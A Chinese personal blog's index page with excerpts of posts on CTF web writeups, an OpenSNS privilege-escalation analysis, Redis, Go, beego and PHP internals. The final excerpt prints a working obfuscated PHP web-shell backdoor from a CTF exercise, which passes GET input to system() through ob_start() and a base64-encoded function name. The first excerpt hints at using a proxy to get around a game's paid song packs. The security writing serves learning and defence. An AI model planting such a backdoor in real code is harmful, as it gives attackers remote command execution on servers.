关于我用 Go 写 HTTP(S) 代理这档事

起因是氪不起曲包 我很喜欢的音游——Muse Dash,在 10 月 28 日的时候发布了万圣节更新。新的游戏更新里加入了“周免”机制。即每周都会有一首付费曲包里的歌曲供玩家免费试玩,这样玩家就会有动力氪金买曲包了。 但是我这阵子手头一直不宽裕,比赛的钱最迟有要到下学期才发的…… 助手那边最近也没啥锅让我写。氪金当然是不可能氪金的啦。 不过自“周免”机制推出后,我就隐隐有一

OpenSNS 前台越权登录管理员账号漏洞分析

上个月打 ByteCTF 线下 AWD 时,有一个靶机是 OpenSNS 这个站。比赛第一天情况还好,全场基本上只拿着主办方留的后门互相打;到了第二天早上才爆出了两个洞,我对着流量陆陆续续地修了好久。 其中一个是因为 ThinkPHP 3 的模板设计缺陷而引发的漏洞,这是 ThinkPHP 3 开发的那一套 CMS 的通病,这里就不赘述了,具体可以阅读 @Li4n0 的这篇文章TinkcmfX 前

RoarCTF Web writeup

前几天一直在打 RoarCTF。Web 题总得来说难度适中,正好适合我这种菜鸡学习新东西 XD 虽然第一天刚开始的时候平台一直进不去,从而导致一堆娱乐圈的弱智直接知乎见。真的无语。其实整场比赛下来我感觉还是蛮爽的,虽然容器有时不是很稳,但从题目质量上来说确实看得出是师傅们是蛮用心的。 自己花了一下午肝出来了一道 Web,然后第二天和 @Moesang 大佬一起,拿了 Web Go 题的一血。开心~

《Redis 深度历险》读书笔记

想学就学,哪要那么多理由 其实很早以前就有看 Redis 的计划,当时是因为对非关系型数据库感兴趣。但又觉得暂时没啥能用的到 Redis 地方。 这学期想明白了:知识反正学到了,就是自己的。哪管它目前用不用的上。 9 月 9 日到学校图书馆借了本《Redis 深度历险》,今天刚好一个月看完。除了第五章关于 Redis 的底层源码我目前还看得挺懵逼的,别的章节确实让我学了不少东西! 因此强烈安利各位

Light Cube 四周年快乐!!

时间过得真快。 一转眼就是大二了。我还记得去年是在军训完的那个国庆假期,也是在宿舍里敲的三周年的文字。和去年的国庆假期一样,今年也是宅在宿舍里。不过好在今年偶尔会去协会摸鱼。 SAO Alicization 下半篇要开始放送了,Light Cube 也已经四周年了呀~ 前些日子在 Twitter 上看到这么一条推文: 虽然没她一样强到用 C++ 去写服务端,不过确实是从搭建这个站点开始,我因此陆陆

最后的一只章鱼猫 —— GitHub Actions 实现编译打包 Golang 到 Docker 镜像

这阵子还挺忙的,上周二飞天津参加第五空间线下赛,回来后周五又是助手那边的面试,周六又是省赛线下赛,这星期又是协会这边的面试。 忙里偷闲抽了点时间继续在看 Redis,目前已经看到原理篇了,了解到了不少有意思的算法与实现原理,整本书看完后会写点东西总结一下。近期助手的 GitHub 教师认证通过了,并开通了团队的一堆福利。考虑到 GitHub 这边的工单系统更加完善,因而逐渐开始从自建 Gitea

Byte CTF web1 boring_code Writeup

是二血呢~ 今天上午忙着去补考工程经济学,50 分钟就出考场回协会做题。 很开心 Web1 boring_code 拿了二血,同时下午也得知补考被老师捞过了,晚上还在协会吃了烧烤。真的是很开心的一天呢~ 那么就来聊聊这道题吧。 回归 PHP 语言的本身 Web 中的 PHP 题,我比较喜欢的是对 PHP 语言本身考察的那些题。PHP 是一个解释型的弱类型语言,而弱类型带来的各种“骚操作”层出不穷,

Apicon 背后都用到的哪些技术?

Apicon 的来源 大概是高二的时候,因为 WordPress 的关系,我接触到了 Web API。进而了解到了 Ajax、RESTful 等概念。当时百度有一个 API Store,上面收录了大大小小各种各样的 API。从天气查询到语音识别,免费并配有详细文档以及不同语言的使用示例。 当时这对我来说真的是个宝库。与此同时,我在 GitHub 上也找到了个人整理的 QQ 音乐、网易云音乐、bil

阿里云函数计算 + Aglio 实现 API Blueprint markdown 渲染

这几天事一直很多,肝了几天终于完成的差不多了。这才有时间去写 Apicon。 这次想聊聊 Apicon 里的一个核心的功能——API 文档的编辑与展示。我最初的想法是,像助手一样按照一定的格式,使用 Markdown 来编写文档。但是这样在格式上难免不好统一。跟副主席聊的时候,他向我推荐了 Swagger 和 API Blueprint。这两个都是 API 文档自动生成工具。对比过后,我决定选择

『自闭 PHP 内核』 vol1. 来写一个 PHP 扩展吧~

之前学 C 语言的目标,就是想有一天能去看 PHP 的底层源码。一直对 PHP 挺惊讶的,她是一个很容易上手的语言,但是却是使用 C 语言编写的。C 语言原生能实现的功能,所含的库就不多语法残废,又十分地接近系统底层;很难想象像 PHP 这么一个语法宽松随便的语言,是怎样用 C 实现的。 之前在协会分享会时,Hammer 学长曾带着我们去看了 PHP 源码中关于弱类型比较的部分,还用 gdb 一步

总结一下最近 beego 开发遇到的坑

最近一直在写 Apicon 的主站,目前虽然还有很多功能没有写完,不过先配好了 Drone 直接上线了。 因为我的前端实在是太菜了,Vue 写到后面暴露出了很多问题;索性就放弃了之前定下的前后端分离,直接用 beego 开始写 MVC 了。 推翻之前所做的,确实需要一定勇气。不过就目前的情况看来,我还是挺满意这个决定的。 期间遇到了不少问题以及坑,这里总结一下吧。 自定义错误页 自定义诸如 404

暑假开始了啊……

然而并不是什么好的开端 暑假开始了呀。明天早上 10 点的车回去。 已经迫不及待地想见到爸妈了。 又是两个月的长假,去年寒假因为期末线代挂了,看了整整一个寒假的线代,最后补考还好过了。 很可惜,这学期又挂科了。又得在假期准备开学的补考。 嘛,心里很不是滋味啊。 不是想去怪谁或为自己争辩些什么,都十九岁的人了,再一直纠结这些有的没的未免有些不合适了。 既然已成事实,还是得自己去弥补啊。之前看了部挺致

聊聊 PHP ob_start() 在开发中的应用

先从安全聊起 上周六协会 AWD,其中的 web1 中,有一个ob_start()的后门,具体代码是这样的: @ob_start(base64_decode(‘c3lzdGVt’)); echo “$_GET[persistent]”; @ob_end_flush(); 参照 PHP 的文档,我们其实可以知道这个后门的原理。 c3lzdGVt这一段,base64_decode出来的即为system